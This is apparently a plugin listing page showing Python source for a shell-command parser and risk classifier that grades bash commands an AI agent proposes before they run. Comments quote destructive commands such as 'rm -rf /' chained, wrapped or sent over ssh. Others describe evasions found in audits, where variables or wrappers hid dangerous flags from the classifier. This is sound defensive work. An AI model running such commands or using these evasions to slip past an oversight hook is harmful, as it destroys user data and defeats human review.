- "check": "interpreter_validation",
- "result": "warn",
- "reason": "npx with auto-install flags executes a registry package",
- }
- return {
- "check": "interpreter_validation",
- "result": "allow",
- "reason": "npx running a package binary",
- }
- eval_flags = _INLINE_EVAL_FLAGS.get(base, frozenset())
- inline = any(f in eval_flags for f in flags)
- # deno's eval is a subcommand, not a flag.
- if base == "deno" and targets and targets[0] == "eval":
- inline = True
- if inline:
- return {
- "check": "interpreter_validation",
- "result": "warn",
- "reason": f"inline code execution via {base}",
- }
- return {
- "check": "interpreter_validation",
- "result": "allow",
- "reason": f"{base} running a script file",
- }
- def _run_path_validation(
- parsed: dict, workspace: Optional[str],
- ) -> Optional[dict]:
- """Submodule 5: Warn on ../ traversal and ~ home directory references."""
- targets = parsed.get("targets", [])
- redirections = parsed.get("redirections", [])
- all_paths = list(targets) + [r.get("target", "") for r in redirections]
- for path in all_paths:
- if "../" in path or path == "..":
- return {
- "check": "path_validation",
- "result": "warn",
- "reason": f"path traversal detected: '{path}'",
- }
- if path.startswith("~"):
- return {
- "check": "path_validation",
- "result": "warn",
- "reason": f"home directory reference: '{path}'",
- }
- return None
- def _run_command_semantics(
- parsed: dict, intent: str,
- ) -> dict:
- """Submodule 6: Informational classification. Always runs, always 'allow'."""
- base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
- sub = parsed.get("subcommand")
- label = f"{base} {sub}" if sub else base
- return {
- "check": "command_semantics",
- "result": "allow",
- "reason": f"classified as {intent}: {label}" if label else f"classified as {intent}",
- }
- # ---------------------------------------------------------------------------
- # Risk score computation
- # ---------------------------------------------------------------------------
- def _compute_risk(
- intent: str, validations: list[dict], parsed: dict, raw_command: str,
- ) -> int:
- """Compute risk score 0-100 from intent, validations, and targets."""
- score = _RISK_BASE.get(intent, 20)
- # A bounded non-recursive rm is destructive in kind (irreversible) but a
- # routine single-file delete in degree — grade it below the catastrophic
- # destructive base so it lands in the warn band, not the block band.
- if intent == "destructive" and is_bounded_rm(parsed):
- score = min(score, _BOUNDED_RM_BASE)
- # Sensitive target boost (placeholder/template files exempt).
- targets = parsed.get("targets", [])
- redirections = parsed.get("redirections", [])
- all_paths = list(targets) + [r.get("target", "") for r in redirections]
- for path in all_paths:
- if SENSITIVE_PATTERNS.search(path) and not is_placeholder_path(path):
- score += 15
- break # Only boost once.
- # Validation result boosts.
- for v in validations:
- if v["result"] == "block":
- score = max(85, score)
- elif v["result"] == "warn":
- score += 10
- # Inline-eval payloads that spawn processes / delete files / shell out
- # get one extra boost — surfaced in the warn band, not auto-blocked.
- inline_eval = any(
- v["check"] == "interpreter_validation" and v["result"] == "warn"
- for v in validations
- )
- if inline_eval and _INLINE_ESCAPE_HATCH_RE.search(raw_command):
- score += 10
- # Regenerable-artifact deletes cap BELOW the interruption bands, applied
- # after the boosts (the destructive_command warn would otherwise push a
- # routine `rm -rf .next` back over the line). A block-result validation
- # always wins — the cap never masks a hard signal.
- if (
- intent == "destructive"
- and is_regenerable_artifact_rm(parsed)
- and not any(v["result"] == "block" for v in validations)
- ):
- score = min(score, _REGENERABLE_RM_BASE)
- return min(score, 100)
- # ---------------------------------------------------------------------------
- # Public API
- # ---------------------------------------------------------------------------
- def classify_bash(
- command: str,
- mode: str = "workspace_write",
- workspace: Optional[str] = None,
- ) -> dict:
- """Classify a bash command by intent, risk, and reversibility.
- Args:
- command: The raw shell command string.
- mode: One of "readonly", "workspace_write", or "full_access".
- workspace: Optional workspace root path for path validation.
- Returns:
- A dict with keys: intent, risk_score, reversible, validations, parsed.
- """
- # Chained commands (`a && b`, `a; b`): classify every segment and report
- # the most severe. Classifying only the first segment made every chained
- # command inherit ITS intent — `cd /p && rm -rf /` was "unknown" (the
- Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
- Line 993 on GitHub
- # danger invisible to this layer) and `cd /p && grep ...` hit the hook's
- # blunt unknown-fallback (70) on every routine chain.
- segment_texts = split_chain_texts(command)
- if len(segment_texts) > 1:
- # Resolve statically-known `VAR=value` assignments into later segments
- # first, so flags hidden in a variable (`F=-rf; rm $F x`) are visible to
- # per-segment classification (evasion audit 2026-08-08).
- resolved_texts = _resolve_static_chain_vars(segment_texts)
- results = [
- classify_bash(text, mode=mode, workspace=workspace)
- for text in resolved_texts
- ]
- worst = max(results, key=lambda r: r["risk_score"])
- # parsed mirrors the segment that determined the classification (so
- # downstream consumers like is_bounded_rm and path boosts grade the
- # segment that matters), with the full chain list preserved.
- combined_parsed = dict(worst["parsed"])
- combined_parsed["chains"] = parse_command(command)["chains"]
- return {
- "intent": worst["intent"],
- "risk_score": worst["risk_score"],
- "reversible": all(r["reversible"] for r in results),
- "validations": [v for r in results for v in r["validations"]],
- "parsed": combined_parsed,
- }
- parsed = parse_command(command)
- intent = _classify_intent(parsed, command)
- # --- Run all 6 validation submodules (pipeline) ---
- validations: list[dict] = []
- v1 = _run_read_only_validation(parsed, intent, mode, command)
- if v1 is not None:
- validations.append(v1)
- v2 = _run_destructive_command_validation(parsed, intent, command)
- if v2 is not None:
- validations.append(v2)
- v3 = _run_mode_validation(parsed, intent, mode, workspace)
- if v3 is not None:
- validations.append(v3)
- v4 = _run_sed_validation(parsed, mode)
- if v4 is not None:
- validations.append(v4)
- v5 = _run_path_validation(parsed, workspace)
- if v5 is not None:
- validations.append(v5)
- v_interp = _run_interpreter_validation(parsed, intent, command)
- if v_interp is not None:
- validations.append(v_interp)
- v6 = _run_command_semantics(parsed, intent)
- validations.append(v6)
- # --- Compute derived fields ---
- risk_score = _compute_risk(intent, validations, parsed, command)
- # Spend joins destructive in the irreversible set: money already moved by
- # the time a review sees the decision — there is no undo (2026-09-04
- # incident: two domains, both live).
- reversible = intent not in ("destructive", "spend")
- return {
- "intent": intent,
- "risk_score": risk_score,
- "reversible": reversible,
- "validations": validations,
- "parsed": parsed,
- }
plugins/dashclaw/hooks/dashclaw_agent_intel/command_parser.py · Bundled script · 412 lines · 3 findings marked
- """Shell command parser for dashclaw-agent-intel.
- Extracts structured metadata from shell command strings:
- base command, subcommands, flags, targets, wrappers, pipes,
- redirections, and chained commands.
- Uses only the Python standard library.
- """
- import re
- import shlex
- from typing import Optional
- # Leading KEY=VALUE environment assignments (`FOO=1 BAR=2 cmd ...`). Without
- # stripping these, the first assignment becomes base_command and the whole
- # command classifies as "unknown" — which inflates risk to the blunt Bash
- # base instead of the real command's intent.
- _ENV_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
- # Commands whose first positional argument is a subcommand.
- SUBCOMMAND_TOOLS = frozenset({
- "git", "docker", "kubectl", "npm", "yarn", "pip",
- "cargo", "go", "apt", "brew", "systemctl",
- })
- # Per-tool global flags that take a SEPARATE value token. Subcommand detection
- # must consume both, or the value (`-C C:/Projects/x`) gets read as the
- # subcommand. Inline `--flag=value` forms need no entry — they are one token.
- # ponytail: git only, because git is the tool whose missing subcommand has a
- # dangerous default (`_classify_git` falls through to "write"). Add a tool here
- # when its global flags are shown to mis-key a real command, not before.
- _GLOBAL_VALUE_FLAGS: dict[str, frozenset] = {
- "git": frozenset({
- "-C", "-c", "--git-dir", "--work-tree",
- "--namespace", "--exec-path", "--config-env", "--super-prefix",
- }),
- }
- # Wrappers that prefix the real command.
- #
- # A wrapper NOT listed here shadows the command it wraps: the parser reports the
- # wrapper as base_command, the classifier grades the result `unknown`, and the
- # hook floors `unknown` at the Bash tool's blunt base risk of 70. `rtk` (a
- # token-compression proxy installed as a Claude Code PreToolUse hook that
- # rewrites every Bash command to `rtk <cmd>`) made that failure universal on any
- # machine running it — `rtk rm -rf /` graded 70 instead of destructive 100, and
- Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
- Line 46 on GitHub
- # a read-only `rtk git log` graded 70 and typed `other` instead of readonly /
- # `review`, which is what buried operators in approvals for read-only commands.
- #
- # ponytail: this stays an explicit allowlist. An unlisted wrapper still shadows
- # its command; generic "unwrap anything whose first argument looks like a
- # command" heuristics misfire on remote-exec forms (`ssh host rm -rf /`) where
- Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
- Line 52 on GitHub
- # the wrapper, not the inner command, is the thing worth grading. Add entries
- # as real wrappers show up.
- WRAPPERS = frozenset({
- "sudo", "env", "nohup", "nice", "ionice",
- "strace", "time", "timeout", "rtk",
- })
- # Redirection operators, ordered longest-first so we greedily match.
- _REDIR_OPS = ("&>>", "&>", "2>>", "2>", ">>", ">")
- def _split_on_unquoted(command_str: str, delimiters: list[str]) -> list[tuple[str, str]]:
- """Split *command_str* on unquoted *delimiters*.
- Returns a list of (segment_text, delimiter_used) tuples.
- The last segment's delimiter is always the empty string.
- """
- segments: list[tuple[str, str]] = []
- in_single = False
- in_double = False
- buf: list[str] = []
- i = 0
- while i < len(command_str):
- ch = command_str[i]
- # Track quoting state.
- if ch == "'" and not in_double:
- in_single = not in_single
- buf.append(ch)
- i += 1
- continue
- if ch == '"' and not in_single:
- in_double = not in_double
- buf.append(ch)
- i += 1
- continue
- if not in_single and not in_double:
- # Try each delimiter (longest-first is important when
- # delimiters share prefixes, but our callers sort that).
- matched = False
- for delim in delimiters:
- if command_str[i:i + len(delim)] == delim:
- segments.append(("".join(buf), delim))
- buf = []
- i += len(delim)
- matched = True
- break
- if matched:
- continue
- buf.append(ch)
- i += 1
- segments.append(("".join(buf), ""))
- return segments
- def _tokenize(segment: str) -> list[str]:
- """Tokenize a shell segment using shlex, falling back on split."""
- segment = segment.strip()
- if not segment:
- return []
- try:
- return shlex.split(segment)
- except ValueError:
- # Unbalanced quotes, etc. -- best-effort.
- return segment.split()
- def _is_fd_dup(target: str) -> bool:
- """True when a redirection target is a file descriptor, not a file.
- `2>&1` and `>&2` duplicate a descriptor; nothing is written to disk. Reading
- the `&1` as a filename made the most common idiom in the corpus look like a
- file write, which floored its risk at 35 in dashclaw_pretool and surfaced
- the shape `other -> &1` in the /policies review feed as something an
- operator could grant. `&>file` is unaffected: there the `&` belongs to the
- operator, so the target is `file`.
- """
- return target.startswith("&")
- def _extract_redirections(tokens: list[str]) -> tuple[list[str], list[dict]]:
- """Separate redirection operators and their targets from *tokens*.
- Returns (remaining_tokens, redirections).
- """
- remaining: list[str] = []
- redirections: list[dict] = []
- i = 0
- while i < len(tokens):
- tok = tokens[i]
- matched_op: Optional[str] = None
- # Check if the token *is* a redirection operator.
- for op in _REDIR_OPS:
- if tok == op:
- matched_op = op
- break
- # Check if the token *starts with* a redirection operator
- # (e.g. ">output.txt" as one token).
- if matched_op is None:
- for op in _REDIR_OPS:
- if tok.startswith(op) and len(tok) > len(op):
- target = tok[len(op):]
- if not _is_fd_dup(target):
- redirections.append({"type": op, "target": target})
- i += 1
- break
- else:
- if matched_op is None:
- remaining.append(tok)
- i += 1
- continue
- # The operator is a standalone token. Next token is the target.
- if i + 1 < len(tokens):
- target = tokens[i + 1]
- if not _is_fd_dup(target):
- redirections.append({"type": matched_op, "target": target})
- i += 2
- else:
- # Dangling operator -- keep it as-is.
- remaining.append(tok)
- i += 1
- return remaining, redirections
- def _skip_wrapper_args(wrapper: str, tokens: list[str]) -> list[str]:
- """Consume flag-like arguments that belong to the *wrapper*, returning
- the remaining tokens that represent the wrapped command.
- Each wrapper has slightly different syntax, so we use simple heuristics:
- - ``sudo``: skip flags (starting with ``-``) until a non-flag token.
- - ``env``: skip ``KEY=VAL`` pairs and flags until a non-flag,
- non-assignment token.
- - ``nice`` / ``ionice``: skip ``-<flag> <value>`` pairs.
- - ``timeout``: skip flags then skip the duration argument.
- - ``nohup`` / ``time`` / ``strace``: skip flags.
- - ``rtk``: skip flags, then the ``proxy`` pass-through token if present.
- """
- i = 0
- if wrapper == "env":
- while i < len(tokens):
- if tokens[i].startswith("-") or "=" in tokens[i]:
- i += 1
- else:
- break
- elif wrapper in ("nice", "ionice"):
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- # Skip the value that follows the flag (e.g. -n 10, -c 2).
- if i < len(tokens) and not tokens[i].startswith("-"):
- i += 1
- elif wrapper == "timeout":
- # Skip flags, then skip the duration positional.
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- if i < len(tokens):
- # The next token is the duration.
- i += 1
- elif wrapper == "strace":
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- elif wrapper == "sudo":
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- elif wrapper in ("nohup", "time"):
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- elif wrapper == "rtk":
- while i < len(tokens) and tokens[i].startswith("-"):
- i += 1
- # `rtk proxy <cmd>` runs <cmd> unfiltered — one more token to skip.
- if i < len(tokens) and tokens[i] == "proxy":
- i += 1
- return tokens[i:]
- def _parse_segment(tokens: list[str]) -> dict:
- """Parse a list of tokens into the structured result dict.
- This handles one logical command (no pipes, no chains).
- """
- result: dict = {
- "base_command": "",
- "subcommand": None,
- "flags": [],
- "targets": [],
- "wrapper": None,
- "env_assignments": [],
- "pipes": [],
- "redirections": [],
- "chains": [],
- }
- if not tokens:
- return result
- # Strip redirections first.
- tokens, redirections = _extract_redirections(tokens)
- result["redirections"] = redirections
- if not tokens:
- return result
- # Strip leading KEY=VALUE assignments so `FOO=1 BAR=2 cmd` classifies as
- # `cmd`. They are kept in env_assignments, never in targets, so a fake
- # credential value in the prefix cannot trip the sensitive-target boost.
- while tokens and _ENV_ASSIGNMENT_RE.match(tokens[0]):
- result["env_assignments"].append(tokens.pop(0))
- if not tokens:
- return result
- # Detect wrapper.
- idx = 0
- if tokens[idx] in WRAPPERS:
- result["wrapper"] = tokens[idx]
- remaining = _skip_wrapper_args(tokens[idx], tokens[idx + 1:])
- tokens = remaining
- if not tokens:
- return result
- idx = 0
- # Base command.
- result["base_command"] = tokens[idx]
- rest = tokens[idx + 1:]
- # Detect subcommand, looking PAST the tool's own global flags.
- #
- # `git -C <path> log` used to leave subcommand None, and _classify_git's
- # "unknown git subcommand -> write" safe default then graded a read-only log
- # as a write (action_type apply, server base 60 instead of review's 10).
- # That is the shape of every command in the 2026-08-16 interruption
- # incident, where the operator disabled the org's whole policy set.
- if result["base_command"] in SUBCOMMAND_TOOLS and rest:
- value_flags = _GLOBAL_VALUE_FLAGS.get(result["base_command"], frozenset())
- skipped: list[str] = []
- j = 0
- while j < len(rest) and rest[j].startswith("-"):
- skipped.append(rest[j])
- # A flag that takes a SEPARATE value consumes it too, so the value
- # (`-C C:/Projects/x`) is never mistaken for the subcommand.
- if rest[j] in value_flags and j + 1 < len(rest):
- skipped.append(rest[j + 1])
- j += 2
- else:
- j += 1
- if j < len(rest):
- result["subcommand"] = rest[j]
- # Global flags stay visible to the classifiers as flags; only the
- # subcommand itself is removed from the tail.
- rest = skipped + rest[j + 1:]
- # Classify remaining tokens as flags or targets.
- for tok in rest:
- if tok.startswith("-"):
- result["flags"].append(tok)
- else:
- result["targets"].append(tok)
- return result
- def split_chain_texts(command_str: str) -> list[str]:
- """Split a command on unquoted sequential operators (&&, ||, ;, newline)
- into the raw text of each segment. Public so the classifier can grade every
- segment of a chain, not just the first (a `cd /p && rm -rf /` must classify
- Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
- Line 324 on GitHub
- as rm). `||` and a newline separate sequential commands just as `;`/`&&` do
- — a later segment still runs, so its risk must count and the static
- var-resolver must see earlier segments (evasion audit round 2, 2026-08-08)."""
- chain_segments = _split_on_unquoted(command_str, ["&&", "||", ";", "\n"])
- chain_texts = [seg for seg, _delim in chain_segments]
- return [t.strip() for t in chain_texts if t.strip()]
- def parse_command(command_str: str) -> dict:
- """Parse a shell command string into structured metadata.
- Returns a dict with the following keys:
- base_command (str) – the primary executable
- subcommand (str | None) – e.g. "push" for "git push"
- flags (list[str]) – tokens starting with "-"
- targets (list[str]) – positional arguments
- wrapper (str | None) – sudo, env, nohup, etc.
- pipes (list[dict]) – parsed segments for each pipe stage
- redirections (list[dict]) – {"type": ">", "target": "file"}
- chains (list[dict]) – parsed segments for && / ; chains
- """
- if not command_str or not command_str.strip():
- return {
- "base_command": "",
- "subcommand": None,
- "flags": [],
- "targets": [],
- "wrapper": None,
- "env_assignments": [],
- "pipes": [],
- "redirections": [],
- "chains": [],
- }
- # --- 1. Split on chains (&&, ;) first. ---
- chain_texts = split_chain_texts(command_str)
- if len(chain_texts) > 1:
- chains: list[dict] = []
- for ct in chain_texts:
- parsed = parse_command(ct)
- chains.append(parsed)
- # Top-level fields mirror the first chain segment.
- first = chains[0]
- return {
- "base_command": first["base_command"],
- "subcommand": first["subcommand"],
- "flags": first["flags"],
- "targets": first["targets"],
- "wrapper": first["wrapper"],
- "env_assignments": first["env_assignments"],
- "pipes": first["pipes"],
- "redirections": first["redirections"],
- "chains": chains,
- }
- # --- 2. Split on pipes (|) ---
- pipe_segments = _split_on_unquoted(command_str, ["|"])
- pipe_texts = [seg for seg, _delim in pipe_segments]
- pipe_texts = [t.strip() for t in pipe_texts if t.strip()]
- if len(pipe_texts) > 1:
- pipes: list[dict] = []
- for pt in pipe_texts:
- tokens = _tokenize(pt)
- parsed = _parse_segment(tokens)
- pipes.append(parsed)
- first = pipes[0]
- return {
- "base_command": first["base_command"],
- "subcommand": first["subcommand"],
- "flags": first["flags"],
- "targets": first["targets"],
- "wrapper": first["wrapper"],
- "env_assignments": first["env_assignments"],
- "pipes": pipes,
- "redirections": first["redirections"],
- "chains": [],
- }
- # --- 3. Single command ---
- tokens = _tokenize(command_str)
- result = _parse_segment(tokens)
- result["pipes"] = []
- result["chains"] = []
- return result
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.